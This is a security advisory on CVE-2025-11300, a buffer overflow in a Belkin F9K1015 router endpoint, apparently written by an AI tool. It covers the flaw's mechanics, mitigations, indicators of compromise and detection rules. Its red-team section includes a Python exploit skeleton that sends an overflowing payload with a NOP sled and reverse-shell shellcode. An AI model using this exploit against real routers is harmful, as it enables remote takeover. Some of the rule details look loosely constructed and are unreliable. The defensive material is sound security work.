CVE-2025-11300

Executive Summary

CVE-2025-11300 is a critical buffer overflow vulnerability discovered in the Belkin F9K1015 wireless router running firmware version 1.00.10. The flaw resides in the /goform/formWlanMP endpoint, specifically within the ateFunc argument. An unauthenticated, remote attacker can exploit this vulnerability to trigger a buffer overflow, potentially leading to arbitrary code execution or denial of service. Public exploit code has been released, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant risk to home and small office networks, as the affected device is commonly used as a primary internet gateway.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the technical details, the following breakdown is assessed:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Potential for full device compromise and data exfiltration.
• Integrity (I): High (H) – Attacker can modify router configuration or firmware.
• Availability (A): High (H) – Buffer overflow can cause denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, public exploit availability, and lack of vendor patch makes this a high-priority threat for any organization or individual using the Belkin F9K1015.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the web management interface of the Belkin F9K1015. The /goform/formWlanMP endpoint is responsible for handling wireless management plane (WLAN MP) configuration. The ateFunc argument is processed without proper bounds checking.

Technical Flow:

1. An HTTP POST request is sent to http://<router_ip>/goform/formWlanMP with a crafted ateFunc parameter.
2. The router's CGI binary copies the value of ateFunc into a fixed-size stack buffer using a vulnerable function (likely strcpy or sprintf without length limits).
3. When the input exceeds the buffer capacity, it overwrites adjacent stack memory, including the saved return address and other critical data.
4. By carefully crafting the overflow payload, an attacker can control the program's execution flow, redirecting it to shellcode that executes arbitrary commands with root privileges.

The exploit is publicly available, demonstrating a working proof-of-concept that achieves remote code execution. The lack of vendor response means no firmware update is available to mitigate this issue.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is typical of legacy embedded systems:

Vulnerable (C-like pseudocode):

void handle_formWlanMP() {
    char buffer[256];
    char *ateFunc = get_param("ateFunc");
    // VULNERABLE: No bounds checking
    strcpy(buffer, ateFunc);
    // ... process buffer ...
}

Hypothetical Patched Code:

void handle_formWlanMP() {
    char buffer[256];
    char *ateFunc = get_param("ateFunc");
    // SAFE: Use strncpy with length limit
    strncpy(buffer, ateFunc, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

The fix would involve replacing unbounded string copy functions with bounded alternatives (e.g., strncpy, snprintf) and validating input length before processing.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Belkin F9K1015 (firmware 1.00.10) on isolated network.
• Attacker: Kali Linux VM with network access to the router's LAN interface.

Exploitation Steps:

1. Reconnaissance: Identify the router's IP (e.g., 192.168.2.1) and confirm the vulnerable endpoint is accessible.

   curl -v http://192.168.2.1/goform/formWlanMP
   

2. Craft Payload: Use a publicly available exploit script or manually construct a buffer overflow payload. The payload must include:

   • Padding to fill the buffer.
   • Overwritten return address pointing to shellcode.
   • Shellcode (e.g., reverse shell or bind shell).

   Example payload structure (Python):

   import socket
   import struct
   
   target_ip = "192.168.2.1"
   port = 80
   
   # Shellcode: Linux/MIPS reverse shell (example)
   shellcode = b"\x24\x0f\xff\xff\x01\xe0\x28\x2f"  # truncated for brevity
   
   buffer_size = 256
   offset_to_return = 260  # determined via fuzzing
   
   payload = b"A" * offset_to_return
   payload += struct.pack("<I", 0xdeadbeef)  # overwrite return address
   payload += b"\x90" * 16  # NOP sled
   payload += shellcode
   
   http_request = f"POST /goform/formWlanMP HTTP/1.1\r\n"
   http_request += f"Host: {target_ip}\r\n"
   http_request += f"Content-Type: application/x-www-form-urlencoded\r\n"
   http_request += f"Content-Length: {len(payload)}\r\n\r\n"
   http_request += f"ateFunc={payload.decode('latin-1')}"
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, port))
   sock.send(http_request.encode())
   sock.close()
   

3. Execute Exploit: Run the script. If successful, the router will execute the shellcode, providing a reverse shell to the attacker's listener.

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Monitor for HTTP POST requests to /goform/formWlanMP with abnormally long ateFunc parameters. Use Suricata rules (see Detection Engineering) to alert on this pattern.

2. Log Analysis: Enable router logging (if available) and monitor for crashes or unexpected reboots, which may indicate exploitation attempts.

3. Honeypot: Deploy a honeypot mimicking the Belkin F9K1015 to capture exploit attempts and gather attacker TTPs.

4. Mitigation: Since no patch exists, the primary mitigation is to isolate or replace the device. If replacement is not possible, restrict access to the router's management interface to trusted IPs only and disable remote management.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/formWlanMP with ateFunc parameter exceeding 256 bytes.
  • Unusual outbound connections from the router to unknown IPs (e.g., on port 4444 for reverse shell).
  • Repeated HTTP 500 errors from the router's web interface.

• Host IOCs (on the router):

  • Unexpected processes running (e.g., /bin/sh spawned by the web server).
  • Modified firmware or configuration files.
  • Presence of shellcode in memory (requires forensic analysis).

• File IOCs:

  • Exploit scripts with patterns matching the CVE-2025-11300 payload structure.

Detection Engineering

YARA Rule

rule CVE_2025_11300_Belkin_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-11300 in HTTP traffic"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-11300"
    strings:
        $http_method = "POST"
        $uri = "/goform/formWlanMP"
        $param = "ateFunc="
        $long_param = /ateFunc=[A-Za-z0-9%]{260,}/  // 260+ characters
    condition:
        $http_method and $uri and $param and $long_param
}

Sigma Rule

title: CVE-2025-11300 Belkin F9K1015 Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with an oversized ateFunc parameter.
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formWlanMP'
        cs-uri-query|contains: 'ateFunc='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate large configuration values (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11300 Belkin F9K1015 Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/goform/formWlanMP";
    http_uri;
    content:"ateFunc=";
    http_client_body;
    pcre:"/ateFunc=[A-Za-z0-9%]{260,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-11300;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the Belkin F9K1015 from the network or place it behind a firewall that blocks inbound HTTP traffic to the management interface.
2. Disable Remote Management: If the router supports it, disable remote administration from the WAN side.
3. Replace the Router: The most effective long-term solution is to replace the device with a supported, patched alternative.

Vendor Communication:

• The vendor (Belkin) has been contacted but has not responded. Users should pressure the vendor for a firmware update or consider legal action if the device is under warranty.

Workaround:

• If replacement is not immediately possible, restrict access to the router's web interface to a single, trusted administrative workstation using firewall rules. Monitor logs for exploitation attempts.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.